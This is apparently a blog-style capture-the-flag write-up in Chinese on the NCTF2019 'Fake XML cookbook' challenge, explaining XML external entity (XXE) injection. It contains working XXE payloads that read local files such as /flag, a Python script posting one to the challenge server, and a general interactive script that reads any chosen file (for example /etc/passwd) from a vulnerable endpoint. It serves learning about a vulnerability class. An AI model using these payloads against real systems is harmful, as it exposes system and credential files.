zoukankan      html  css  js  c++  java
  • [NCTF2019]Fake XML cookbook

    0x00 知识点

    XXE攻击
    附上链接:

    https://xz.aliyun.com/t/6887

    XXE(XML External Entity Injection)全称为XML外部实体注入
    XML可能存在的漏洞:
    XML注入和XPath注入XML 外部实体注入

    什么是 XML?
    XML 指可扩展标记语言(EXtensible Markup Language)。
    XML 的设计宗旨是传输数据,而不是显示数据。
    XML 是 W3C 的推荐标准。
    XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
    XML 语言没有预定义的标签

    0x01 解题

    这是一道最简单的XXE
    查看源码

    用XML和服务器通讯,联想到XXE攻击
    实际上看页面也懂了,这是XXE-LAB
    payload:

    <!DOCTYPE ANY [
        <!ENTITY test SYSTEM "file:///flag">
    ]>
    <user><username>&test;</username><password>123</password></user>
    
    import requests
    url = "http://0c1959cb-aa7d-465c-9174-124b5eed19fb.node3.buuoj.cn/"
    
    payload = '''<?xml version = "1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY foo SYSTEM "file:///flag">]>
    <user><username>&foo;</username><password>0</password></user>
    '''
    
    r = requests.post(url,data=payload,headers={'Content-Type':'text/xml'})
    print r.text
    

    都没弹出来flag..
    不过学习了XML有收获233


    最后附上一个脚本:

    #!/usr/bin/python
    # -*- coding:utf-8 -*-
    
    import urllib2
    
    if __name__ == '__main__':
    
        print u'输入要访问的地址,如http://127.0.0.1/xml/xxe2.php'
        url = raw_input()
        count=1
        while count==1:
            print u'输入要读取的文件,如file:///etc/passwd'
            payload = raw_input()
            headers = {'Content-type': 'text/xml'}
            xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
            req = urllib2.Request(url = url,headers = headers, data = xml)
            res_data = urllib2.urlopen(req)
            res = res_data.read()
            print res
    

    运行如下:

  • 相关阅读:
    LeetCode——Generate Parentheses
    LeetCode——Best Time to Buy and Sell Stock IV
    LeetCode——Best Time to Buy and Sell Stock III
    LeetCode——Best Time to Buy and Sell Stock
    LeetCode——Find Minimum in Rotated Sorted Array
    Mahout实现基于用户的协同过滤算法
    使用Java对文件进行解压缩
    LeetCode——Convert Sorted Array to Binary Search Tree
    LeetCode——Missing Number
    LeetCode——Integer to Roman
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12323562.html
Copyright © 2011-2022 走看看